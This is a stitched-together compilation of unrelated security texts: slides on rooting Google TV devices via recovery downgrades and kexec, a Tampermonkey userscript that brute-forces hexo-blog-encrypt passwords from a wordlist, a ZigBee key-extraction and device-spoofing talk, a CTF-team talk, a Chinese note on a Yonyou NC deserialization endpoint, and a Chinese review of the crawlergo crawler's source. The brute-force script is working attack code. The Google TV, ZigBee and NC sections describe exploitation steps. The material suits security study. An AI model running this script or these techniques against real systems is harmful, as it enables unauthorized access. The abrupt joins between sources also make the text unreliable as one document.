flash was not! Drivers just needed to be loaded. ● Replaced new recovery on flash with the old, exploitable version. ● Now we had an exploitable recovery! ● Wait for the rumored 3.2 release in late September to release exploit ● Google and Sony were slow – it was December. GTVHacker http://gtvhacker.com/pres/dc20.ppt Sony Google TV Downgrade via USB (nodev) ● Come the 3.2 release in December, we did not want to let on about the bootloader password being found. So, two weeks of intense bug finding was started. ● We found a few bugs, but not what we needed for privileged code execution ● However, we got to really, really know the update process... GTVHacker http://gtvhacker.com/pres/dc20.ppt Sony Google TV Downgrade via USB (nodev) GTVHacker ● Recovery mounts USB to /tmp/mnt/diskb1 ● Looks for package_list_*.zip ● Passes this to package_updater.sh ● package_updater.sh then copies the file to /cache ● package_updater then unzips build.prop, and displays to the user If the update is accepted, it's copied again to /cache I'm sure they checked to see if there was a destination file... http://gtvhacker.com/pres/dc20.ppt Sony Google TV Downgrade via USB (nodev) The Sony recovery mounted ext2/3 partitions with no mount parameters meaning a block device on the USB could allow us to write to a device node as root. GTVHacker USB1 contains update file which fools the updater to think a properly formatted update is on the drive. Recovery confirms that an update is inserted and asks the user if they'd like to continue. USB2 contains update file which is a file system node point to /dev/Glob_Spectraa2 Recovery moves the FS node to /cache/package_list_*.zip and then errors leaving the file in place. USB1 is used again now that the FS node is in place, we restart update and perform part 2 of attack. Recovery confirms that an update is inserted and asks the user if they'd like to continue. USB3 contains update file which contains files to overwrite .trfs on /dev/Glob_Spectraa2 The recovery version is now downgraded to the LCE exploitable version. http://gtvhacker.com/pres/dc20.ppt Sony Google TV Downgrade via USB (nodev) Assuming the downgrade went correctly, use LCE recovery exploit. Exploit: ● Re-partitions internal SSD ● Copies /boot to a new partition. ● Edits initial /boot to include kexec files. ● Hijacks initial boot process to call kexec. GTVHacker http://gtvhacker.com/pres/dc20.ppt Sony Google TV Unsigned Kernels ● Kexec is normally built into the kernel, so we opted to build it as a kernel module. ● Kexec allows us to boot the system, have it kick over after in less than 1 second, and load our unsigned kernel. But what about that init hash, and those RSA signatures? GTVHacker “kexec (kernel execution) is a mechanism of the Linux kernel that allows "live" booting of a new kernel "over" the currently running kernel. “ ~ Wikipedia http://gtvhacker.com/pres/dc20.ppt Sony Google TV Unsigned Kernels ● Chain of Trust needed to be broken ● kexec had to to be called before the platform's security firmware was loaded. ● Where do we attack? ● /bin/e2fsck ● / is mounted from sda1, on the SSD, that we can now write to GTVHacker http://gtvhacker.com/pres/dc20.ppt Sony Google TV Unsigned Kernels /bin/e2fsck was replaced with a script which: ● Mounted /system ● insmod our kexec modules ● kexec to load our new kernel Our new kernel, apart from featuring no hash on init, had a few other tweaks: GTVHacker ● no initd hash ● no signed init.rc ● no signed init.(eagle/asura).rc ● modified init.rc ● modified init.(eagle/asura).rc ● modified default.prop ● ro.secure=0 ● ro.debuggable=1 http://gtvhacker.com/pres/dc20.ppt Sony Google TV Content Provider Bypass But wait – there's more! Our update script pulled Chrome's Flash player and mutated the Flash plug-in string randomly per each install. Since each box has a unique ID, content providers will have a harder time blocking streaming content for Google TV users. GTVHacker http://gtvhacker.com/pres/dc20.ppt Google TV “Future” / ARM Devices In the last few months we've seen a release of the second generation of Google TV devices, all of which are ARM: Sony NSZ-GS7 – Network Streamer Sony NSZ-GP9 – Blu-Ray Player *unreleased* Vizio VAP430 (CoStar) – Network Streamer *unreleased* Vizio VBR430 – Blu-Ray Player *unreleased* Vizio R3D*0VS (42/47/55/65) – Google TV *unreleased* LG 47/55G2 (LMG620) – Google TV GTVHacker http://gtvhacker.com/pres/dc20.ppt Google TV Sony - ARM Devices ● The Sony ARM devices feature a Marvell 88DE3100 SoC, which has a 1.2GHZ Dual Core Processor. ● The Blu-Ray variant should be close to identical specs wise, but with a Blu-ray drive, and a BD playback app. ● Sony has yet to branch off into TV integration, as they may have jumped the gun the first time around. GTVHacker http://gtvhacker.com/pres/dc20.ppt Google TV Vizio - ARM Devices ● The Vizio ARM devices, like the Sony's feature a Marvell 88DE3100 SoC, which has a 1.2GHZ Dual-Core processor. ● Again, the Blu-Ray variant should be close to identical specs wise, but with a Blu-ray drive, and a BD playback app. ● Multiple devices, a streamer, BD player, and integrated TV. ● Hey, you – guy on stage. Is the streamer out yet? GTVHacker http://gtvhacker.com/pres/dc20.ppt Google TV LG - ARM Devices ● LG Google TV's are a bit more mysterious. ● 47” & 55” (G2 / LMG620) ● Mostly, there have been few purchases, and at $1200 each, a bit out of our price ranges! ● Dual Core ??? MHZ processor ● Anyone care to donate one? GTVHacker http://gtvhacker.com/pres/dc20.ppt GTVHacker Timeline GTVHacker Date Event 12/2010 Logitech UART found (and live) 1/2011 Root package released (content bypass) 7/2011 Sony (Blu-ray) unit acquired Sony unit rooted (SATA modification) Sony recovery command execution found Software root method found Sony update encryption keys found, reversed, decrypted 8/2011 Revue 3.1 "Honeycomb" leaked 9/2011 Sony 3.1 Released Sony TV acquired Sony TV rooted http://gtvhacker.com/pres/dc20.ppt GTVHacker Timeline GTVHacker Date Event (Continued) 10/2011 Sony bootloader shell found/downgrade achieved 11/2012 kexec ported as module to x86, unsigned kernels for Sony (saving for 3.2 rls) 12/2012 3.2 for Sony released 1/2012 Sony nodev recovery downgrade released 1/2012 Sony exploit package released (unsigned kernels) 3/2012 Revue signed module exploit achieved (needed root privileges) 4/2012 Logitech Revue kernel exploit (awaiting 3.2 release) 5/2012 Revue 3.2 Released 6/30/2012 NSZ-GP7 Acquired 6/30/2012 NSZ-GP7 Root Exploit http://gtvhacker.com/pres/dc20.ppt Sony NSZ-GP7  Newest Sony device  Released this month  Tear down posted at GTVHacker.com  CN2000 looks familiar! GTVHacker http://gtvhacker.com/pres/dc20.ppt NSZ-GP7 Root Demo  Noticed that last bit on the time line? Yeah.  We gained root access on 6/30, and proceeded to explore  Our goal is to get unsigned kernels running before a release, which may or may not be done already (you, with the microphone?) GTVHacker http://gtvhacker.com/pres/dc20.ppt NSZ-GP7 Root Demo Demo GTVHacker http://gtvhacker.com/pres/dc20.ppt Questions? GTVHacker http://gtvhacker.com/pres/dc20.ppt Thank you! More information can be found at: http://www.GTVHacker.com/ http://forum.GTVHacker.com/ http://blog.GTVHacker.com/ GTVHacker
pdf
0x00 0x01 0x02js 0x03 chromeoverride // ==UserScript== // @name hexo // @namespace http://tampermonkey.net/ // @version 0.1 // @description try to take over the world! // @author You // @match http://127.0.0.1:8000/* // @grant none //@run-at document-end // ==/UserScript== (function() { 'use strict'; // var uploadfile = document.createElement('input'); uploadfile.type="file"; uploadfile.id="file_id"; //readFile uploadfile.onchange= readFile; document.body.appendChild(uploadfile); //uikeydown var event = document.createEvent('UIEvents'); event.initUIEvent("keydown",false,true,null); event.keyCode=13; var passwords = ""; var i =0; function readFile() { // const objFile = document.getElementById('file_id'); if(objFile.value === '') { alert(''); return; } // const files = objFile.files; // FileReader const reader = new FileReader(); // reader.readAsText(files[0], "UTF-8"); // reader.onload = function(e){ // const fileString = e.target.result; // const fileString2 = e.target.result.split('\n'); // console.log(fileString2); passwords = fileString2; //timeout setTimeout(function(){ tampermonkey 0x04 if(passwords!=""){ //intervalinterval var inter = setInterval(function(){ //debugdebug console.debug(passwords[i]); //keydown document.getElementById("hbePass").value=passwords [i]; document.getElementById('hexo-blog-encrypt').dispatchEvent(event); setTimeout(function(){ if(i<passwords.length){ i++; } },20); //passwordsipasswords if(i==passwords.length){ //interval clearInterval(inter); } },5); } },500); }; } // Your code here... })(); 0x05
pdf
I’M A NEWBIE YET I CAN HACK ZIGBEE Take Unauthorized Control Over ZigBee Devices LI Jun ,YANG Qing Unicorn Team – Radio and Hardware Security Research Qihoo 360 Technology Co. Ltd. Who we are? Unicorn Team • Qihoo360’s UnicornTeam consists of a group of brilliant security researchers. We focus on the security of anything that uses radio technologies, from small things like RFID, NFC and WSN to big things like GPS, UAV, Smart Cars, Telecom and SATCOM. • Our primary mission is to guarantee that Qihoo360 is not vulnerable to any wireless attack. In other words, Qihoo360 protects its users and we protect Qihoo360. • During our research, we create and produce various devices and systems, for both attack and defense purposes. LI Jun • Hardware security intern in Unicorn Team of Qihoo360 ,China. • Second year graduate student at Chengdu University of Information Technology, China.He received his bachelor’s degree from University of Electronic Science and Technology of China • Interested in the security of the internet of things and the security of automobile electronics Twitter: bravo_fighter Weibo: GoRushing YANG Qing • YANG Qing is the team leader of Unicorn Team. • He has rich experiences in wireless and hardware security area, including WiFi penetration testing, cellular network interception, IC card cracking etc. His interests also cover embedded system hacking, firmware reversing, automotive security, and software radio. • He is the first one who reported the vulnerabilities of WiFi system and RF IC card system used in Beijing subway. Weibo: Ir0nSmith Why is this talk relevant to you ? • Cause hackers might be able to control your ZigBee enabled appliances without authorization, this talk will teach you how to prevent it . What will you learn from the talk ? You will learn, step by step ,how to hack ZigBee enabled devices ,and you will also learn some techniques to protect your ZigBee appliance from being hacked. So what is ZigBee ? “ZigBee is the only open, global wireless standard to provide the foundation for the Internet of Things by enabling simple and smart objects to work together, improving comfort and efficiency in everyday life” So what is ZigBee ? “ZigBee is the wireless language that everyday devices use to connect to one another. In fact, ZigBee could be at work in your home right now” So what is ZigBee ? Technological Standard Created for Control and Sensor Networks Based on the IEEE 802.15.4 Standard Low-power, low data rate wireless protocol Widely used in the Internet of Things Widely adapted in applications that require low power consumption Flexible network topology So what is ZigBee ? ZigBee network topology And then what is Zstack? An specific implementation of ZigBee Stack from Texas Instruments based on its CC2530 (which is IEEE80.15.4 enabled)chip, in other words , ZigBee standard is written in plaintext while Zstack is written in code. Security in ZigBee ZigBee security is based on symmetric keys and both originator and recipient of a protected transaction need to share the same key. Key distribution schemes Pre-installation Transport Establishment Three key types Master key Link key Network key Hacking ZigBee device step by step Following is a schematic diagram of a smart bulb system: Hacking ZigBee device step by step 3 Normal control flows: Phone Server IOT Gateway Bulb Router Hacking ZigBee device step by step What we want is to directly control the bulb via our own ZigBee node: Find the encryption key from firmware The keys are stored in every node in the network ,as the blub is harder to disassemble so we chose to extract the keys from the gateway. Zigbee Bulb Gateway Find the encryption key from firmware As the red arrow indicates ,the debug interface is right there,we solder on a few wires,connect it to a debugger ,and used TI’s SmartRF Flash Programmer to dump the firmware. Gateway being praised open Debugger used to extract firmware Find the encryption key from firmware Screenshot of TI’s SmartRF Flash Programmer Find the encryption key from firmware Now we got THE firmware, what is next ? Let’s do “Firmware Diving” Searching through firmware for keys Find the encryption key from firmware First set the keys to have distinct signature,then find it in the firmware and see if we could discover something interesting . As the key is used to encrypt the packets ,why not try to find the instructions that manipulate the keys ? Bingo ! We found that the instructions used to manipulate the keys have relatively fixed patern (shown in the next slide) and the four consecutive move instructions could be used as a filter (or signature ) for the address of the keys Find the encryption key from firmware Find the encryption key from firmware On the upper right corner is the instructions that manipulate the network key. The 0x31,0xAD is the memory address that stores the key(shown on the lower left corner) Find the encryption key from firmware On the upper right corner is the instructions that manipulate the network key. The 0x31,0xAD is the memory address that stores the key(shown on the lower left corner) Find the encryption key from firmware Then we use the four consecutive move instructions’ corresponding machine code and operand(75 08 ? 75 09 ? 75 0A) as a filter to search through the firmware for the address of the keys. Find the encryption key from firmware Then we use the four consecutive move instructions’ corresponding machine code and operand(75 08 ? 75 09 ? 75 0A) as a filter to search through the firmware for the address of the keys. A screenshot shows the possible addresses of the keys Verify The Keys ZigBee Packet structure In order to verify the keys ,we utilized the MIC(message integrity check)contained in the packet ,and if the deciphered packet can pass the MIC ,we can assert that we find the right keys. Verify The Keys A sniffer used to capture the packets In order to verify the keys ,we utilized the MIC(message integrity check)contained in the packet ,and if the deciphered packet can pass the MIC ,we can assert that we find the right keys. Find the encryption key by sniffing The following screenshot shows the process of a new node joining the network, and the figure is quite self-explanatory . The network key is sent from the coordinator to the joining device in plaintext,and after receiving the network key the communication is immediately encrypted. Find the encryption key by sniffing “Utilize” the keys found I wouldn’t say that after we found the key we could do some data mining to find the users habit etc , cause that would be a little bit farfetched,but the following are some very practical attacks we can perform: Analysis of the deciphered data Replay& Spoof Intercept Disassociation attack Analysis of the deciphered data After we deciphered the data ,in order to take control over the target device ,we have to analyze the application level data and the results are as following: Byte0 0x04 Byte1 Target PANID Byte2 Byte3 Unknown Byte4 Mode Byte5 Red Byte6 Green Byte7 Blue Byte8 Illuminance Byte9 Checksum Analysis of the deciphered data The payload is 10 byte in length,with the last byte being the xor checksum of the foregoing bytes,the byte1 and byte2 is the PANID of the target device(the bulb in our case). Now we can control the bulb with our own node . Byte0 0x04 Byte1 Target PANID Byte2 Byte3 Unknown Byte4 Mode Byte5 Red Byte6 Green Byte7 Blue Byte8 Illuminance Byte9 Checksum Take control A Zigbee node we made and we used it to control the bulb Replay& Spoof Disassociation attack Disassociation Sequence Hacking for Protection Only talking about attacks and leaving protection aside goes against the ethos of Defcon and the whole hacker community I guess,so here come tips for prevention or , at least , mitigation: Store hash of the encryption key instead of plaintext. Don’t use OTA (over the air) key provisioning scheme, use preinstall or key negotiation instead. Blow the fuse to prevent the firmware from being dumped. Employ some light weight encryption on the application data to make the analysis of application data harder after key compromise. References • Below are references related to the topics discussed . • 1)The ZigBee Alliance homepage: • http://www.ZigBee.org • 2) The KillerBee framework : • https://github.com/riverloopsec/killerbee • 3) Paperback book entitled “ZigBee Wireless Networks and Transceivers” • 2008, Elsevier Ltd . ISBN: 978-0-7506-8393-7 • 4) Paper “Recommended Practices Guide For Securing ZigBee Wireless Networks in Process Control System Environments” • April 2007.Author:Ken Masica. Lawrence Livermore National Laboratory • 5) Paper “ZigBee Security” ©2009 ZigBee Alliance. • Author:Robert Cragie.Chair, ZigBee Alliance ZARC Security Task Group.Principal Engineer, Jennic Ltd. • 6) A webpage : http://www.ciscopress.com/articles/article.asp?p=1823368&seqNum=4 Acknowledgment ZHANG Kai • Twitter: peekair_zhang Former reversing engineer at Qihoo360.(protocol,fireware,binary format & crack). He loves cats. Nikita • Twitter: Niki7a Thank you!
pdf
Beat to 1337 Mike Arpaia & Ted Reed Creating A Successful University Cyber Defense Organization (Note: slide text will be mostly replaced by images during the presentation, this deck is designed as a handout) This presentation... Will show you a five step program to: 1. Plan! - make a goal for yourself and your university 2. Recruit! - reach out to the campus, find interested parties 3. Organize! - gather resources, don't sulk over no budget 4. Learn! - understand everyone's skills, abilities, and interests 5. Play! - compete, join a competition, start evaluating your skills ...And we'll give out prizes! So try to be involved! Problem ● Everyone wants to be a hacker but you're not going to learn how to hack in "Theoretical Computer Science 101" ● Even in information assurance classes, often times the subject matter is so high-level that you can't really get anything (practical) out of it... ● You may not have enough information security knowledge to walk up and be a pen-tester or researcher ● You may not know enough people to make a team Our solution! ● We compiled data about past competitions for you to use, learn from, and ramp up your team to compete this coming year! ● We compiled a detailed guide from what we've learned and professionals we've sought advice from! ● We modified a collaboration software solution to help students play, organize and participate in CTFs! ○ We recommend a hardware solution to complement ○ Plan to distribute the software as an ISO image What's in the Data? ● What we did and what works ○ Don't reinvent the wheel... we did it for you ● How to stop complaining about the things that are holding you back and start owning some n00bs! ● Tips on how to organize, educate and motivate a team of lazy college kids ● A calendar of national and international CTF-style competitions that you and your team can compete in! What's in the Guide? ● Chapters and lesson plans on a wide range of information security topics including: ○ web application security ○ source code auditing ○ reverse engineering ○ exploitation ○ cryptology ○ and more! ● A list of web tutorials videos that teach everything from basic information security knowledge to super 1337 hax0r skillz What's in the Software? ● A customized version of a web-based collaborative real-time document editor (similar to google docs) that will allow you to collaborate with your team while it mines your progress and results ● Report generating scripts that convert your mined data into fancy documents that outline your abilities and where you can improve ● An organized repository of tools, software and scripts to ensure the most efficient use of your time ● And a ton more that won't fit on this slide! Our Experience, is this effective? Your Input! ● Now we need your input and your help! ● Our goal is to integrate these games into all university programs, with great emphasis ● We need a method and metrics to prove that competition and games aid in comprehension and motivation Tell us how to do this, ...and win some prizes!
pdf
看见有人再发 nc 的反序列化。这玩意不是一堆么?下面就是特别简单的一个。刚入门的小白应该都能看出来 因为 web.xml 下的 servelt/* 所对应的类是 nc.bs.framework.server.InvokerServlet 其大概意思是根据/*后面的服务名查找对应类 根据文档。有一处 UploadServlet。对应类:nc.document.pub.fileSystem.servlet.UploadServlet 然后直接找这个类。看了 doget 和 dopost 都指向 doaction 方法。随便看一下就 知道了。 开发是老实人,这里啥都没有,直接把 InputStream 拿去反序列化。多简单。 攻击链 cc6. 这种类型的还有好多。照着这个思路审计下去,你至少还能在发现 4 处。
pdf
crawlergo是一个使用 chrome headless 模式进行URL收集的浏览器爬虫。它对整个网页的关键 位置与DOM渲染阶段进行HOOK,自动进行表单填充并提交,配合智能的JS事件触发,尽可能的 收集网站暴露出的入口。内置URL去重模块,过滤掉了大量伪静态URL,对于大型网站仍保持较快 的解析与抓取速度,最后得到高质量的请求结果集合。 crawlergo 目前支持以下特性: * 原生浏览器环境,协程池调度任务 * 表单智能填充、自动化提交 * 完整DOM事件收集,自动化触发 * 智能URL去重,去掉大部分的重复请求 * 全面分析收集,包括javascript文件内容、页面注释、robots.txt文件和常见路径Fuzz * 支持Host绑定,自动添加Referer * 支持请求代理,支持爬虫结果主动推送 Github: https://github.com/Qianlitp/crawlergo 作者开源了源码,我是很兴奋的,以前也有写一个的想法,但是开源的动态爬虫不多,看了其中几个。 调研 1. https://github.com/fcavallarin/htcap 递归dom搜索引擎 发现ajax/fetch/jsonp/websocket请求 支持cookie,代理,ua,http auth 基于文本相似度的页面重复数据删除引擎 根据文本长度 <256 simhash else ShinglePrint 主要代码是python调用puppeteer,但是核心逻辑在js里 2. https://github.com/go-rod/rod 一个操作chrome headless的go库 它比官方提供的chrome操作库更容易使用 有效解决了chrome残留僵尸进程的问题 3. https://github.com/lc/gau 通过一些通用接口获取url信息 4. https://github.com/jaeles-project/gospider Web静态爬虫,也提供了一些方法获取更多URL 5. https://github.com/chaitin/rad 1. rad虽然没有开源,但是它里面使用yaml进行的配置选项很多,通过配置选项可以大致知道它 的一些特性。 2. 可以手动登陆 3. 启用图片 4. 显示对爬取url的一些限制 1. 不允许的文件后缀 2. 不允许的url关键字 3. 不允许的域名 4. 不允许的url 5. 设置下个页面最大点击和事件触发 Crawlergo 之前也想过写一个动态爬虫来对接扫描器,但是动态爬虫有很多细节都需要打磨,一直没时间做,现在 有现成的源码参考能省下不少事。 主要看几个点 对浏览器 JavaScript环境的hoook dom的触发,表单填充 url如何去重 url的收集 目录结构 根据源码的调用堆栈做了一个程序启动流程图 ├─cmd │ └─crawlergo # 程序主入口 ├─examples ├─imgs └─pkg   ├─config  # 一些配置相关   ├─engine  # chrome相关程序   ├─filter  # 去重相关   ├─js      # 一些注入的js   ├─logger  # 日志   ├─model   # url和请求相关的库   └─tools   # 一些通用类库       └─requests 配置文件 pkg/config/config.go 定义了一些默认的配置文件 const ( DefaultUA               = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36" MaxTabsCount            = 10 TabRunTimeout           = 20 * time.Second DefaultInputText        = "Crawlergo" // 默认输入的文字 FormInputKeyword        = "Crawlergo" // form输入的文字,但是代码中没有引用这个变量 的 SuspectURLRegex         = `(?:"|')(((?:[a-zA-Z]{1,10}://|//)[^"'/]{1,}\.[a- zA-Z]{2,}[^"']{0,})|((?:/|\.\./|\./)[^"'><,;|*()(%%$^/\\\[\]][^"'><,;|()]{1,})| ([a-zA-Z0-9_\-/]{1,}/[a-zA-Z0-9_\-/]{1,}\.(?:[a-zA-Z]{1,4}|action)(?:[\?|#][^"|'] {0,}|))|([a-zA-Z0-9_\-/]{1,}/[a-zA-Z0-9_\-/]{3,}(?:[\?|#][^"|']{0,}|))|([a-zA-Z0- 9_\-]{1,}\.(?:php|asp|aspx|jsp|json|action|html|js|txt|xml)(?:[\?|#][^"|'] {0,}|)))(?:"|')` // url获取正则 URLRegex                = `((https?|ftp|file):)?//[-A-Za-z0-9+&@#/%? =~_|!:,.;]+[-A-Za-z0-9+&@#/%=~_|]` // url获取正则 AttrURLRegex            = `` DomContentLoadedTimeout = 5 * time.Second EventTriggerInterval    = 100 * time.Millisecond // 单位毫秒 BeforeExitDelay         = 1 * time.Second DefaultEventTriggerMode = EventTriggerAsync MaxCrawlCount           = 200 ) // 请求的来源,记录了每个url的来源,可以根据这些关键词定位到相关的获取代码 const ( FromTarget      = "Target"     //初始输入的目标 FromNavigation  = "Navigation" //页面导航请求 FromXHR         = "XHR"        //ajax异步请求 FromDOM         = "DOM"        //dom解析出来的请求 FromJSFile      = "JavaScript" //JS脚本中解析 FromFuzz        = "PathFuzz"   //初始path fuzz FromRobots      = "robots.txt" //robots.txt FromComment     = "Comment"    //页面中的注释 FromWebSocket   = "WebSocket" FromEventSource = "EventSource" FromFetch       = "Fetch" FromHistoryAPI  = "HistoryAPI" FromOpenWindow  = "OpenWindow" FromHashChange  = "HashChange" FromStaticRes   = "StaticResource" FromStaticRegex = "StaticRegex" ) // 静态文件后缀,这些后缀的文件全部阻断读取 var StaticSuffix = []string{ "png", "gif", "jpg", "mp4", "mp3", "mng", "pct", "bmp", "jpeg", "pst", "psp", "ttf", "tif", "tiff", "ai", "drw", "wma", "ogg", "wav", "ra", "aac", "mid", "au", "aiff", "dxf", "eps", "ps", "svg", "3gp", "asf", "asx", "avi", "mov", "mpg", "qt", "rm", "wmv", "m4a", "bin", "xls", "xlsx", "ppt", "pptx", "doc", "docx", "odt", "ods", "odg", "odp", "exe", "zip", "rar", "tar", "gz", "iso", "rss", "pdf", "txt", "dll", "ico", "gz2", "apk", "crt", "woff", "map", "woff2", "webp", "less", "dmg", "bz2", "otf", "swf", "flv", "mpeg", "dat", "xsl", "csv", "cab", "exif", "wps", "m4v", "rmvb", } // 动态文件的后缀,过滤器用于过滤伪静态用 var ScriptSuffix = []string{ "php", "asp", "jsp", "asa", } // 默认不爬的url关键词 var DefaultIgnoreKeywords = []string{"logout", "quit", "exit"} // 填充表单相关,这些是模糊匹配,匹配到了则使用对应的规则 var AllowedFormName = []string{"default", "mail", "code", "phone", "username", "password", "qq", "id_card", "url", "date", "number"} var InputTextMap = map[string]map[string]interface{}{ "mail": { URL过滤方式 crawlergo有两种过滤,氛围 simple 和 smart 。 simple simple过滤方式比较简单,就是将计算请求体的method、url、postdata 结合计算md5 判断是否存在 "keyword": []string{"mail"}, "value":   "[email protected]", }, "code": { "keyword": []string{"yanzhengma", "code", "ver", "captcha"}, "value":   "123a", }, "phone": { "keyword": []string{"phone", "number", "tel", "shouji"}, "value":   "18812345678", }, "username": { "keyword": []string{"name", "user", "id", "login", "account"}, "value":   "[email protected]", }, "password": { "keyword": []string{"pass", "pwd"}, "value":   "Crawlergo6.", }, "qq": { "keyword": []string{"qq", "wechat", "tencent", "weixin"}, "value":   "123456789", }, "IDCard": { "keyword": []string{"card", "shenfen"}, "value":   "511702197409284963", }, "url": { "keyword": []string{"url", "site", "web", "blog", "link"}, "value":   "https://crawlergo.nice.cn/", }, "date": { "keyword": []string{"date", "time", "year", "now"}, "value":   "2018-01-01", }, "number": { "keyword": []string{"day", "age", "num", "count"}, "value":   "10", }, } smart smart过滤会对每个请求的参数name,参数value,path 进行标记,会标记成以下字段 例如 处理结果即 const ( CustomValueMark    = "{{Crawlergo}}" FixParamRepeatMark = "{{fix_param}}" FixPathMark        = "{{fix_path}}" TooLongMark        = "{{long}}" NumberMark         = "{{number}}" ChineseMark        = "{{chinese}}" UpperMark          = "{{upper}}" LowerMark          = "{{lower}}" UrlEncodeMark      = "{{urlencode}}" UnicodeMark        = "{{unicode}}" BoolMark           = "{{bool}}" ListMark           = "{{list}}" TimeMark           = "{{time}}" MixAlphaNumMark    = "{{mix_alpha_num}}" MixSymbolMark      = "{{mix_symbol}}" MixNumMark         = "{{mix_num}}" NoLowerAlphaMark   = "{{no_lower}}" MixStringMark      = "{{mix_str}}" ) ?m=home&c=index&a=index ?type=202cb962ac59075b964b07152d234b70 ?id=1 ?msg=%E6%B6%88%E6%81%AF 会对超过阈值的结果,以及计算的唯一id进行比对,来判断是否过滤,总体来说是基于url的过滤方式。 使用的正则 对路径的处理 ?m=home&c=index&a=index ?type={hash} ?id={int} ?msg={urlencode} var chineseRegex = regexp.MustCompile("[\u4e00-\u9fa5]+") var urlencodeRegex = regexp.MustCompile("(?:%[A-Fa-f0-9]{2,6})+") var unicodeRegex = regexp.MustCompile(`(?:\\u\w{4})+`) var onlyAlphaRegex = regexp.MustCompile("^[a-zA-Z]+$") var onlyAlphaUpperRegex = regexp.MustCompile("^[A-Z]+$") var alphaUpperRegex = regexp.MustCompile("[A-Z]+") var alphaLowerRegex = regexp.MustCompile("[a-z]+") var replaceNumRegex = regexp.MustCompile(`[0-9]+\.[0-9]+|\d+`) var onlyNumberRegex = regexp.MustCompile(`^[0-9]+$`) var numberRegex = regexp.MustCompile(`[0-9]+`) var OneNumberRegex = regexp.MustCompile(`[0-9]`) var numSymbolRegex = regexp.MustCompile(`\.|_|-`) var timeSymbolRegex = regexp.MustCompile(`-|:|\s`) var onlyAlphaNumRegex = regexp.MustCompile(`^[0-9a-zA-Z]+$`) var markedStringRegex = regexp.MustCompile(`^{{.+}}$`) var htmlReplaceRegex = regexp.MustCompile(`\.shtml|\.html|\.htm`) /** 标记路径 */ func (s *SmartFilter) MarkPath(path string) string { pathParts := strings.Split(path, "/") for index, part := range pathParts { if len(part) >= 32 { pathParts[index] = TooLongMark } else if onlyNumberRegex.MatchString(numSymbolRegex.ReplaceAllString(part, "")) { pathParts[index] = NumberMark } else if strings.HasSuffix(part, ".html") || strings.HasSuffix(part, ".htm") || strings.HasSuffix(part, ".shtml") { part = htmlReplaceRegex.ReplaceAllString(part, "") // 大写、小写、数字混合 if numberRegex.MatchString(part) && alphaUpperRegex.MatchString(part) && alphaLowerRegex.MatchString(part) { pathParts[index] = MixAlphaNumMark // 纯数字 } else if b := numSymbolRegex.ReplaceAllString(part, ""); onlyNumberRegex.MatchString(b) { pathParts[index] = NumberMark } // 含有特殊符号 } else if s.hasSpecialSymbol(part) { pathParts[index] = MixSymbolMark } else if chineseRegex.MatchString(part) { pathParts[index] = ChineseMark 基于网页结构去重 作者原帖中的基于网页结构去重写的非常精彩 https://www.anquanke.com/post/id/178339#h2-17 参考的论文下载: https://patents.google.com/patent/CN101694668B/zh 作者的将网页特征向量抽离出来,索引存储,用来判断大量网页的相似度,非常惊艳,未来用到资产收 集系统或者网络空间引擎上也都是非常不错的选择。 URL收集 robots 在爬虫之前,会先请求robots.txt,解析出所有链接,加入到待爬取页面。 源码中使用了一个正则来匹配 看了下robots规范:https://baike.baidu.com/item/robots%E5%8D%8F%E8%AE%AE/2483797 ,应该 还可以再优化一下,来处理一些表达式。 } else if unicodeRegex.MatchString(part) { pathParts[index] = UnicodeMark } else if onlyAlphaUpperRegex.MatchString(part) { pathParts[index] = UpperMark // 均为数字和一些符号组成 } else if b := numSymbolRegex.ReplaceAllString(part, ""); onlyNumberRegex.MatchString(b) { pathParts[index] = NumberMark // 数字出现的次数超过3,视为伪静态path } else if b := OneNumberRegex.ReplaceAllString(part, "0"); strings.Count(b, "0") > 3 { pathParts[index] = MixNumMark } } newPath := strings.Join(pathParts, "/") return newPath } var urlFindRegex = regexp.MustCompile(`(?:Disallow|Allow):.*?(/.+)`) DIR FUZZ 在爬虫之前,如果没有指定dir字典的话,默认会使用内置的字典 根据状态码判断 ['11', '123', '2017', '2018', 'message', 'mis', 'model', 'abstract', 'account', 'act', 'action', 'activity', 'ad', 'address', 'ajax', 'alarm', 'api', 'app', 'ar', 'attachment', 'auth', 'authority', 'award', 'back', 'backup', 'bak', 'base', 'bbs', 'bbs1', 'cms', 'bd', 'gallery', 'game', 'gift', 'gold', 'bg', 'bin', 'blacklist', 'blog', 'bootstrap', 'brand', 'build', 'cache', 'caches', 'caching', 'cacti', 'cake', 'captcha', 'category', 'cdn', 'ch', 'check', 'city', 'class', 'classes', 'classic', 'client', 'cluster', 'collection', 'comment', 'commit', 'common', 'commons', 'components', 'conf', 'config', 'mysite', 'confs', 'console', 'consumer', 'content', 'control', 'controllers', 'core', 'crontab', 'crud', 'css', 'daily', 'dashboard', 'data', 'database', 'db', 'default', 'demo', 'dev', 'doc', 'download', 'duty', 'es', 'eva', 'examples', 'excel', 'export', 'ext', 'fe', 'feature', 'file', 'files', 'finance', 'flashchart', 'follow', 'forum', 'frame', 'framework', 'ft', 'group', 'gss', 'hello', 'helper', 'helpers', 'history', 'home', 'hr', 'htdocs', 'html', 'hunter', 'image', 'img11', 'import', 'improve', 'inc', 'include', 'includes', 'index', 'info', 'install', 'interface', 'item', 'jobconsume', 'jobs', 'json', 'kindeditor', 'l', 'languages', 'lib', 'libraries', 'libs', 'link', 'lite', 'local', 'log', 'login', 'logs', 'mail', 'main', 'maintenance', 'manage', 'manager', 'manufacturer', 'menus', 'models', 'modules', 'monitor', 'movie', 'mysql', 'n', 'nav', 'network', 'news', 'notice', 'nw', 'oauth', 'other', 'page', 'pages', 'passport', 'pay', 'pcheck', 'people', 'person', 'php', 'phprpc', 'phptest', 'picture', 'pl', 'platform', 'pm', 'portal', 'post', 'product', 'project', 'protected', 'proxy', 'ps', 'public', 'qq', 'question', 'quote', 'redirect', 'redisclient', 'report', 'resource', 'resources', 's', 'save', 'schedule', 'schema', 'script', 'scripts', 'search', 'security', 'server', 'service', 'shell', 'show', 'simple', 'site', 'sites', 'skin', 'sms', 'soap', 'sola', 'sort', 'spider', 'sql', 'stat', 'static', 'statistics', 'stats', 'submit', 'subways', 'survey', 'sv', 'syslog', 'system', 'tag', 'task', 'tasks', 'tcpdf', 'template', 'templates', 'test', 'tests', 'ticket', 'tmp', 'token', 'tool', 'tools', 'top', 'tpl', 'txt', 'upload', 'uploadify', 'uploads', 'url', 'user', 'util', 'v1', 'v2', 'vendor', 'view', 'views', 'web', 'weixin', 'widgets', 'wm', 'wordpress', 'workspace', 'ws', 'www', 